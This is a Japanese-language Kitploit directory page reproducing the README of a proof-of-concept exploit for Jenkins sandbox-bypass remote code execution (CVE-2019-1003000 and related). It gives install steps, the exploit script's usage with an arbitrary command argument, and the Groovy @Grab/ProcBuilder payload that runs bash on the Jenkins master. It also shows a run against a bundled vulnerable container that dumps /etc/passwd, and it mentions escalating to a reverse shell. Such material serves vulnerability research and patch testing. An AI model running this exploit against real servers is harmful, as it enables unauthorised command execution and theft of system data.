Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2019-1003000-jenkins-rce-poc — Jenkins RCE 概念実証: SECURITY-1266 / CVE-2019-1003000 (Script Security)、CVE-2019-1003001 (Pipeline: Groovy)、CVE-2019-1003002 (Pipeline: Declarative) | Kitploit
ツール/GitHubGitHub/adamyordan/cve-2019-1003000-jenkins-rce-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubadamyordan/cve-2019-1003000-jenkins-rce-poc

cve-2019-1003000-jenkins-rce-poc

Jenkins RCE 概念実証: SECURITY-1266 / CVE-2019-1003000 (Script Security)、CVE-2019-1003001 (Pipeline: Groovy)、CVE-2019-1003002 (Pipeline: Declarative)

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見るウェブサイト
316877年前Kitploit レビュー済み

PoC: Jenkins RCE

SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

Overall/Read権限とJob/Configure(およびオプションでJob/Build)を持つユーザーが、サンドボックス保護をバイパスしてJenkinsマスターまたはノード上で任意のコードを実行できるようにするための概念実証です。

更新: Orange Tsai による記事では、CVE-2018-1000861 と CVE-2019-1003000 を利用したエクスプロイトチェーンについて説明されており、事前認証RCEのためにOverall/Read権限の必要性をバイパスします: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

インストール

root@kitploit:~
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt

使用方法

ターゲットURL、ジョブ名、ユーザー名/パスワード認証情報、実行するシステムコマンドを引数として渡します。

root@kitploit:~
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"

解説

Red Hat Bugzilla - Bug 1667566 からの引用:

Pipeline: Declarative Plugin バージョン 1.3.4.1 未満、Pipeline: Groovy Plugin バージョン 2.61.1 未満、および Script Security Plugin バージョン 1.50 未満に欠陥が見つかりました。スクリプトのコンパイルフェーズ中に、@Grab などの AST 変換アノテーションをソースコード要素に適用することで、Script Security のサンドボックス保護を回避できる可能性がありました。パイプライン検証 REST API と実際のスクリプト/パイプライン実行の両方が影響を受けます。これにより、Overall/Read 権限を持つユーザー、または SCM 内の Jenkinsfile やサンドボックス化された Pipeline 共有ライブラリの内容を制御できるユーザーが、サンドボックス保護をバイパスして Jenkins マスターまたはノード上で任意のコードを実行できるようになりました。Groovy の既知の安全でない AST 変換はすべて、サンドボックス化されたスクリプトで現在禁止されています。

このPoCは、Overall/Read および Job/Configure 権限を持つユーザーを使用して、サンドボックスモードで悪意を持って改変されたビルドスクリプトを実行し、任意のスクリプトを実行するためにサンドボックスモードの制限をバイパスしようとします(この場合、システムコマンドを実行します)。

背景として、Jenkinsのパイプラインのビルドスクリプトはgroovyで記述されます。このビルドスクリプトはJenkinsマスターまたはノードでコンパイルおよび実行され、パイプラインの定義(例: スレーブノードで何を行うか)が含まれます。Jenkinsはまた、_サンドボックスモード_で実行されるスクリプトを提供します。サンドボックスモードでは、すべての危険な関数がブラックリストに登録されるため、通常のユーザーはJenkinsサーバーに対して悪意のある操作を行うことはできません。

しかし、ビルドスクリプトはGroovyで記述されているため、Javaパッケージ内の任意のクラスや関数を使用できます(ただし、サンドボックスモードでは危険な組み込みのものはブラックリストに登録されています)。この場合、AST変換アノテーション @Grab を使用して、Jenkinsに外部のMavenリポジトリから任意のJavaパッケージをインポートさせています。このPoCでは、システムシェルコマンドを実行するために org.buildobjects:jproc:2.2.3 で定義された ProcBuilder クラスを使用しています。

ペイロードは以下のように定義されます:

root@kitploit:~
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()

上記のスクリプトはJenkinsマスターまたはノードでコンパイルおよび実行されます。ジョブビルドが完了すると、ジョブのコンソール出力でシェルコマンド cat /etc/passwd の結果を確認できます。さらに、このRCEを利用してリバースシェルを取得し、文字通りJenkinsサーバーを pwn することができます!

脆弱なサンプルサイト

このリポジトリには、Dockerコンテナ形式の sample-vuln ディレクトリに、脆弱なJenkinsのサンプルが用意されています。起動後、コンテナイメージはtcp/8080ポートでJenkinsサイトをホストし、認証情報 user1:user1 を持つ Overall/Read + Job/Configure + Job/Build 権限の通常ユーザーと、ID my-pipeline のパイプラインジョブが含まれています。

root@kitploit:~
$ cd sample-vuln
$ ./run.sh


$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"

[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline
Finished: SUCCESS

参照

  • Jenkins Security Advisory 2019-01-08
  • Jenkins アップストリームパッチ
  • Red Hat Bugzilla - Bug 1667566
  • Jenkins Script Security Plugin
ツールをダウンロード